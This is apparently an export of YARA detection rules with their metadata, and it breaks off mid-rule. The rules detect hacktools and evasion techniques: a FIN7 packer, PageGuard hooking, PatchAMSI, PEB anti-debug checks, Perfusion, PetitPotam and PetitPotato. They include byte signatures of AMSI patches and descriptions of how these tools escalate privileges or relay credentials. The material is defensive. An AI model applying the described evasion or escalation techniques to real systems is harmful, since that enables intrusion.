+  "content": "rule packer_fin7 {\n    meta:\n        title = \"FIN7 Packer\"\n        id = \"e6096aae-4138-49d3-b411-cfad5dec2a33\"\n        description = \"Detects the FIN7 homemade packer.\\nThe FIN7 APT developed its own packer in order to protect their code from static analysis.\\nIt is recommended to perform a detailed static analysis of the file and to look for suspicious actions on the host around this alert or by the related process.\"\n        references = \"https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/\"\n        date = \"2024-07-23\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.HackTool.PackerFIN7\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 146c68ca89b8b0378c2c6fb978892aace0235c7038879e85b3764556b0dbf2a5\n        // 0506372e2c2b6646c539ac5a08265dd66d0da58a25545e444c25b9a02f8d9a44\n\n        $packer_xor = {\n            4? 63 [3]                       // movsxd  rax, dword [rsp+0x50 {var_78}]\n            4? 8b [2-6]                     // mov     rcx, qword [rsp+0xd0 {arg_8}]\n            4? 8b [2-6]                     // mov     rcx, qword [rcx+0x8]\n            4? 0? [2]                       // add     rax, qword [rcx+0x50]\n            4? 8d [5]                       // lea     rcx, [rel data_140003020]\n            0f (b6|b7) [1-5]                // movzx   eax, byte [rcx+rax]\n            0f (b6|b7) [1-5]                // movzx   ecx, byte [rel data_14002399c]\n            4? 8b [2-6]                     // mov     rdx, qword [rsp+0xd0 {arg_8}]\n            4? 8b [2-6]                     // mov     rdx, qword [rdx+0x8]\n            4? 0? [2]                       // add     rcx, qword [rdx+0x68]\n            0f (b6|b7) [1-5]                // movzx   ecx, cl\n            33 ??                           // xor     eax, ecx\n            4? 63 [3]                       // movsxd  rcx, dword [rsp+0x50 {var_78}]\n            4? 8b [2-6]                     // mov     rdx, qword [rsp+0xd0 {arg_8}]\n            4? 8b [2-6]                     // mov     rdx, qword [rdx+0x8]\n            4? 0? [2]                       // add     rcx, qword [rdx+0x48]\n            4? 8d [5]                       // lea     rdx, [rel data_140003020]\n            88 04 0a                        // mov     byte [rdx+rcx], al\n            0f (b6|b7)                      // movzx   eax, byte [rel data_14000301e]\n        }\n        $packer_decrypt_conf = {\n            8b [1-3]            // mov     eax, dword [rsp+0x4 {i}]\n            ff ??               // inc     eax\n            89 [1-3]            // mov     dword [rsp+0x4 {i}], eax\n            0f b6 [1-3]         // movzx   eax, byte [rsp {var_128}]\n            39 [1-3]            // cmp     dword [rsp+0x4 {i}], eax\n            73 ??               // jae     0x140001d59\n            8b [1-3]            // mov     eax, dword [rsp+0x4 {i}]\n            83 ?? 05            // add     eax, 0x5\n            8b ??               // mov     eax, eax\n            4? 8b [2-6]         // mov     rcx, qword [rsp+0x130 {arg_8}]\n            0f be [1-3]         // movsx   eax, byte [rcx+rax]\n            85 ??               // test    eax, eax\n            74 ??               // je      0x140001d40\n            0f b6 [1-3]         // movzx   eax, byte [rsp+0x2 {var_126}]\n            8b [3]              // mov     ecx, dword [rsp+0x4 {i}]\n            83 ?? 05            // add     ecx, 0x5\n            8b ??               // mov     ecx, ecx\n            4? 8b [4-6]         // mov     rdx, qword [rsp+0x130 {arg_8}]\n            0f (be|bf) [1-3]    // movsx   ecx, byte [rdx+rcx]\n            33 ??               // xor     eax, ecx\n            2b [1-3]            // sub     eax, dword [rsp+0x4 {i}]\n            ff ??               // dec     eax\n            8b [1-3]            // mov     ecx, dword [rsp+0x4 {i}]\n            88 [1-3]            // mov     byte [rsp+rcx+0x20 {var_108}], al\n            eb ??               // jmp     0x140001d57\n            b8 01 00 00 00      // mov     eax, 0x1\n            4? 6b ?? 00         // imul    rax, rax, 0x0\n            4? 8b [4-6]         // mov     rcx, qword [rsp+0x130 {arg_8}]\n            c6 [1-3] 00         // mov     byte [rcx+rax], 0x0\n            eb ??               // jmp     0x140001d59\n            eb                  // jmp     0x140001ce7\n        }\n        $packer_find_entry_point = {\n            4? 63 [1-4]             // movsxd  rax, dword [rsp {var_38_1}]\n            4? 3b [1-4]             // cmp     rax, qword [rsp+0x20 {var_18_1}]\n            73 ??                   // jae     0x140001c7f\n            48 8b [1-4]             // mov     rax, qword [rsp+0x10 {var_28_1}]\n            0f b7 [1-4]             // movzx   eax, word [rax]\n            c1 ?? 0c                // sar     eax, 0xc\n            83 ?? 0a                // cmp     eax, 0xa\n            75 ??                   // jne     0x140001c7d\n            4? 8b [1-4]             // mov     rax, qword [rsp+0x8 {var_30}]\n            8b [1-4]                // mov     eax, dword [rax]\n            4? 03 [1-4]             // add     rax, qword [rsp+0x40 {arg_8}]\n            4? 8b [1-4]             // mov     rcx, qword [rsp+0x10 {var_28_1}]\n            0f b7 [1-4]             // movzx   ecx, word [rcx]\n            81 ?? ff 0f 00 00       // and     ecx, 0xfff\n            4? 63 [1-4]             // movsxd  rcx, ecx\n            4? 03 [1-4]             // add     rax, rcx\n            4? 89 [1-4]             // mov     qword [rsp+0x18 {var_20_1}], rax\n            4? 8b [1-4]             // mov     rax, qword [rsp+0x18 {var_20_1}]\n            4? 8b [1-4]             // mov     rax, qword [rax]\n            4? 03 [1-4]             // add     rax, qword [rsp+0x50 {arg_18}]\n            4? 8b [1-4]             // mov     rcx, qword [rsp+0x18 {var_20_1}]\n            4? 89 [1-4]             // mov     qword [rcx], rax\n            eb 93                   // jmp     0x140001c12\n        }\n        $packer_find_entry_point_rtlcreateuserthtread = {\n            4? 8b [1-4]                // mov     rax, qword [rsp+0x70 {var_58_1}]\n            8b [1-4]                   // mov     eax, dword [rax+0x28]\n            4? 03 [1-4]                // add     rax, qword [rsp+0x68 {var_60_1}]\n            4? 89 [2-6]                // mov     qword [rsp+0x88 {var_40_1}], rax\n            ff [2-6]                   // call    qword [rsp+0x88 {var_40_1}]\n            4? 8d [2-6]                // lea     rax, [rsp+0x9c {var_2c}]\n            4? 89 [1-4]                // mov     qword [rsp+0x48 {var_80_1}], rax {var_2c}\n            4? 8d [2-6]                // lea     rax, [rsp+0xb8 {var_10}]\n            4? 89 [1-4]                // mov     qword [rsp+0x40 {var_88_1}], rax {var_10}\n            4? c7 [3-7]                // mov     qword [rsp+0x38 {var_90}], 0x0\n            4? 8b [2-6]                // mov     rax, qword [rsp+0x88 {var_40_1}]\n            4? 89 [1-4]                // mov     qword [rsp+0x30 {var_98_1}], rax\n            4? c7 [3-7]                // mov     qword [rsp+0x28 {var_a0}], 0x0\n            4? c7 [3-7 ]               // mov     qword [rsp+0x20 {var_a8}], 0x0\n            4? 33 ??                   // xor     r9d, r9d  {0x0}\n            4? ?? 01                   // mov     r8b, 0x1\n            33 ??                      // xor     edx, edx  {0x0}\n            4? c? ?? ff ff ff ff       // mov     rcx, 0xffffffffffffffff\n            ff                         // call    qword [rsp+0xa0 {var_28_1}]\n        }\n\n    condition:\n        2 of ($packer*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "packer_fin7"
+  ],
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.PackerFIN7"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-pageguard_hooking_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571882Z",
+  "creation_date": "2026-03-23T11:46:25.571884Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571890Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hoangprod/LeoSpecial-VEH-Hook"
+  ],
+  "name": "pageguard_hooking.yar",
+  "content": "rule generic_pageguard_hooking {\n    meta:\n        title = \"PageGuard Hooking\"\n        id = \"a5f4010d-01c1-4864-ae57-eedc68e63469\"\n        description = \"Detects binaries containing the PageGuard hooking technique.\\nPageGuard hooking sets a Page Guard protection on a specific function to trigger an exception on function call.\\nThe exception is caught by a Vectored Exception Handler (VEH), making it difficult to debug.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity.\"\n        references = \"https://github.com/hoangprod/LeoSpecial-VEH-Hook\"\n        date = \"2024-03-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1106;attack.defense_evasion;attack.t1574\"\n        classification = \"Windows.Generic.PageGuardHooking\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 28d6dcf1e204cda21e9111fae9a01dd0225b5371df9f9a9fe1f0a797da035217\n\n        $api = \"AddVectoredExceptionHandler\" wide ascii\n\n        $stub_00 = {\n            4? 8b ??               // mov     rax, qword [rax]\n            8b ??                  // mov     eax, dword [rax]\n            3? 01 00 00 80         // cmp     eax, 0x80000001\n            7?                     // jne     0x1400016d7\n        }\n\n        $stub_01 = {\n            4? 8b ?? ??            // mov     rax, qword [rbp+0x10 {arg_8}]\n            4? 8b ?? 08            // mov     rax, qword [rax+0x8]\n            8b ?? 44               // mov     edx, dword [rax+0x44]\n            4? 8b ?? ??            // mov     rax, qword [rbp+0x10 {arg_8}]\n            4? 8b ?? 08            // mov     rax, qword [rax+0x8]\n            8? ?? 01               // or      dh, 0x1\n            [2-8]                  // mov     dword [rax+0x44], edx\n            b? ff ff ff ff         // mov     eax, 0xffffffff\n        }\n\n        $stub_02 = {\n            4? 8b ?? ??            // mov     rax, qword [rbp+0x10 {arg_8}]\n            4? 8b ??               // mov     rax, qword [rax]\n            8b ??                  // mov     eax, dword [rax]\n            3? 04 00 00 80         // cmp     eax, 0x80000004\n            7?                     // jne     0x140001713\n        }\n\n    condition:\n        // Usually we can find the string AddVectoredExceptionHandler 5 times in any program (because of the import/export table of ntdll, kernelbase, kernel32)\n        #api != 5\n        and all of ($stub_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_pageguard_hooking"
+  ],
+  "rule_creation_date": "2024-03-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.PageGuardHooking"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1574"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-patchamsi_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584536Z",
+  "creation_date": "2026-03-23T11:46:25.584538Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584544Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/D1rkMtr/PatchAMSI\nhttps://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/"
+  ],
+  "name": "patchamsi.yar",
+  "content": "rule patchamsi {\n    meta:\n        title = \"PatchAMSI HackTool\"\n        id = \"48926071-dd02-42f0-b93f-315c7bde61dd\"\n        description = \"Detects the PatchAMSI tool.\\nPatchAMSI is used to modify the AmsiScanBuffer function, a key component of Windows' AMSI (Anti-Malware Scan Interface), which scans files and scripts for malicious content.\\nThe tool is often used by malicious actors to prevent AMSI-based detection mechanisms from identifying their code.\\nIt is recommended to investigate the execution context as well as surrounding detections to determine the usage of this tool is legitimate.\"\n        references = \"https://github.com/D1rkMtr/PatchAMSI\\nhttps://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/\"\n        date = \"2022-10-27\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001;attack.t1562.006\"\n        classification = \"Windows.HackTool.PatchAMSI\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 5fa9f8a2dd7bf3a9f13bef972f6f294077a13f2637d4039e38d0d29e87195ac1\n\n        $s1 = \"AmsiScanBuffer\" fullword ascii\n        $s2 = \"amsi.dll\" fullword ascii\n        $s3 = \"[!] Failed in NtProtectVirtualMemory1 (%u)\" fullword ascii\n        $s4 = \"[+] AmsiScanBuffer is Patched!\" fullword ascii\n\n        // AmsiScanBuffer patches\n        $op1 = { B8 57 00 07 80 C3 00 00 }\n        $op2 = { 31 C0 C3 00 00 00 00 00 }\n        $op3 = { 48 C7 C0 00 00 00 00 C3 }\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 100KB and 3 of ($s*) and 2 of ($op*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "patchamsi"
+  ],
+  "rule_creation_date": "2022-10-27",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.PatchAMSI"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1562.006"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-peb_beingdebugged_check_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585612Z",
+  "creation_date": "2026-03-23T11:46:25.585614Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585620Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/killswitch-GUI/IsDebuggerPresent\nhttps://github.com/HackOvert/AntiDBG\nhttps://attack.mitre.org/techniques/T1622/"
+  ],
+  "name": "peb_beingdebugged_check.yar",
+  "content": "rule peb_being_debugged_check {\n    meta:\n        title = \"PEB BeingDebugged Flag Check\"\n        id = \"ec6c246c-24db-4075-9918-767cd220798c\"\n        description = \"Detects common anti-debugging code snippets that check the BeingDebugged flag in the Process Environment Block (PEB).\\nThis rule identifies malware accessing the PEB structure at [fs:0x30] (x86) to check or modify the BeingDebugged (PEB + 0x2) flag, a technique used to determine if the process is being debugged.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity.\"\n        references = \"https://github.com/killswitch-GUI/IsDebuggerPresent\\nhttps://github.com/HackOvert/AntiDBG\\nhttps://attack.mitre.org/techniques/T1622/\"\n        date = \"2024-07-24\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1622\"\n        classification = \"Windows.Generic.AntiDebug\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // abdf9cc38c6ecc9620c811205f8247167fc1653b57405c3cfd33c6079e5a6161\n        // d759dcbebee18a65fda434ba1da5d348c16d9d3775fe1652a1dacf983ffc93b8\n        // 22deea26981bc6183ac3945da8274111e7fd7a35fbb6da601348cc6d66240114\n\n        $eax = {\n            64A118000000       // mov     eax, dword [fs:0x18]\n            8B4030             // mov     eax, dword [eax+0x30]\n            0FB64002           // movzx   eax, byte [eax+0x2]\n            83F801             // cmp     eax, 0x1\n        }\n\n        $ebx = {\n            648B1D18000000     // mov     ebx, dword [fs:0x18]\n            8B5B30             // mov     ebx, dword [ebx+0x30]\n            0FB65B02           // movzx   ebx, byte [ebx+0x2]\n            83FB01             // cmp     ebx, 0x1\n        }\n\n        $ecx = {\n            648B0D18000000     // mov     ecx, dword [fs:0x18]\n            8B4930             // mov     ecx, dword [ecx+0x30]\n            0FB64902           // movzx   ecx, byte [ecx+0x2]\n            83F901             // cmp     ecx, 0x1\n        }\n\n        $edx = {\n            648B1518000000     // mov     edx, dword [fs:0x18]\n            8B5230             // mov     edx, dword [edx+0x30]\n            0FB67F02           // movzx   edi, byte [edi+0x2]\n            83FF01             // cmp     edi, 0x1\n        }\n\n        $esi = {\n            648B3518000000     // mov     esi, dword [fs:0x18]\n            8B7630             // mov     esi, dword [esi+0x30]\n            0FB67602           // movzx   esi, byte [esi+0x2]\n            83FE01             // cmp     esi, 0x1\n        }\n\n    condition:\n        1 of ($e*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "peb_being_debugged_check"
+  ],
+  "rule_creation_date": "2024-07-24",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.AntiDebug"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1622"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-perfusion_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582179Z",
+  "creation_date": "2026-03-23T11:46:25.582181Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582186Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/itm4n/Perfusion/tree/master\nhttps://twitter.com/xorJosh/status/1634597343273054210"
+  ],
+  "name": "perfusion.yar",
+  "content": "rule perfusion {\n    meta:\n        title = \"Perfusion HackTool\"\n        id = \"167644a3-733f-40ee-8e15-e8ce4bfbb93a\"\n        description = \"Detects the Perfusion HackTool.\\nPerfusion is a tool designed to exploit a registry permission vulnerability in the RpcEptMapper and DnsCache performance counters.\\nThis exploit enables attackers to steal SYSTEM tokens and gain local administrative privileges.\\nIt is recommended to investigate for any signs of token misuse or unauthorized access.\"\n        references = \"https://github.com/itm4n/Perfusion/tree/master\\nhttps://twitter.com/xorJosh/status/1634597343273054210\"\n        date = \"2023-09-05\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1112;attack.persistence;attack.t1574.011\"\n        classification = \"Windows.HackTool.Perfusion\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 9bd4dd6d747e6d669627f45176cb01d29c9ce381aa6a44d5d453bb9588975934\n\n        $s1 = \"@itm4n\" fullword wide\n        $s2 = \"  -c <CMD>  Command - Execute the specified command line\" fullword wide\n        $s3 = \"  -i        Interactive - Interact with the process (default: non-interactive)\" fullword wide\n        $s4 = \"  -d        Desktop - Spawn a new process on your desktop (default: hidden)\" fullword wide\n        $s5 = \"  -k <KEY>  Key - Either '%ws' or '%ws' (default: '%ws')\" fullword wide\n        $s6 = \"  -h        Help - That's me :)\" fullword wide\n        $s7 = \"[*] Created Performance DLL: %ws\" fullword wide\n        $s8 = \"[*] Created Performance registry key.\" fullword wide\n        $s9 = \"[*] Triggered Performance data collection.\" fullword wide\n        $s10 = \"[+] Exploit completed. Got a SYSTEM token! :)\" fullword wide\n        $s11 = \"[-] Exploit completed but no SYSTEM Token. :/\" fullword wide\n        $s12 = \"[-] Control Thread timeout.\" fullword wide\n        $s13 = \"[*] Waiting for the Trigger Thread to terminate... \" fullword wide\n        $s14 = \"[!] Failed to delete Performance registry key.\" fullword wide\n        $s15 = \"[*] Deleted Performance registry key.\" fullword wide\n        $s16 = \"[-] Failed to delete Performance DLL.\" fullword wide\n        $s17 = \"[*] Deleted Performance DLL.\" fullword wide\n        $s18 = \"[-] ResumeThread() with error code %d\" fullword wide\n\n    condition:\n        5 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "perfusion"
+  ],
+  "rule_creation_date": "2023-09-05",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Perfusion"
+  ],
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1574.011"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-petitpotam_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585332Z",
+  "creation_date": "2026-03-23T11:46:25.585334Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585339Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/topotam/PetitPotam"
+  ],
+  "name": "petitpotam.yar",
+  "content": "rule petitpotam {\n    meta:\n        title = \"PetitPotam HackTool\"\n        id = \"39f4c613-fc5a-481a-ba81-dc5c986f798e\"\n        description = \"Detects the usage of PetitPotam.\\nPetitPotam is a tool that enables NTLM relay attacks via the Encrypting File System Remote (EFSRPC) Protocol, allowing attackers to perform credential dumping or lateral movement.\\nIt is recommended to investigate the execution context as well as surrounding detections to determine the usage of this tool is legitimate.\"\n        references = \"https://github.com/topotam/PetitPotam\"\n        date = \"2021-07-26\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1552.001\"\n        classification = \"Windows.HackTool.Petitpotam\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $clear_string_marker_pdb = \"PetitPotam.pdb\" ascii\n        $clear_string_marker_usage = \"Usage: PetitPotam.exe <captureServerIP> <targetServerIP>\" wide\n        $clear_string_marker_error_code = \"Error Code %d - %s\" wide\n        $clear_string_marker_error_rpc_string_binding_composew = \"Error in RpcStringBindingComposeW\" wide\n        $clear_string_marker_error_rpc_string_freew = \"Error in RpcStringFreeW\" wide\n\n    condition:\n        filesize < 1MB and 3 of ($clear_string_marker_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "petitpotam"
+  ],
+  "rule_creation_date": "2021-07-26",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Petitpotam"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1552.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-petitpotato_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.565546Z",
+  "creation_date": "2026-03-23T11:46:25.565548Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.565554Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/wh0amitz/PetitPotato"
+  ],
+  "name": "petitpotato.yar",
+  "content": "rule petitpotato {\n    meta:\n        title = \"PetitPotato HackTool\"\n        id = \"f59fe827-f3ad-4415-b5aa-602f0bc5d62b\"\n        description = \"Detects the PetitPotato HackTool.\\nPetitPotato is a known hacktool used to perform local privilege escalation by abusing the MS-EFSR protocol.\\nIt creates malicious named pipes and attempts to invoke specific EfsRpc functions to achieve unauthorized access and privileges on the system.\\nIt is recommended to investigate for additional signs of privilege escalation or related malicious activities.\"\n        references = \"https://github.com/wh0amitz/PetitPotato\"\n        date = \"2023-09-04\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.HackTool.PetitPotato\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 9da438cf29567dd2fc6a4ba427856a76bedd3750d0c8c2e0e403a0f709ddd46b\n\n        $s1 = \"[+] Invoking EfsRpcOpenFileRaw with target path: %ws.\" fullword wide\n        $s2 = \"[+] Invoking EfsRpcSetEncryptedFileMetadata with target path: %ws.\" fullword wide\n        $s3 = \"[+] Invoking EfsRpcEncryptFileSrv with target path: %ws.\" fullword wide\n        $s4 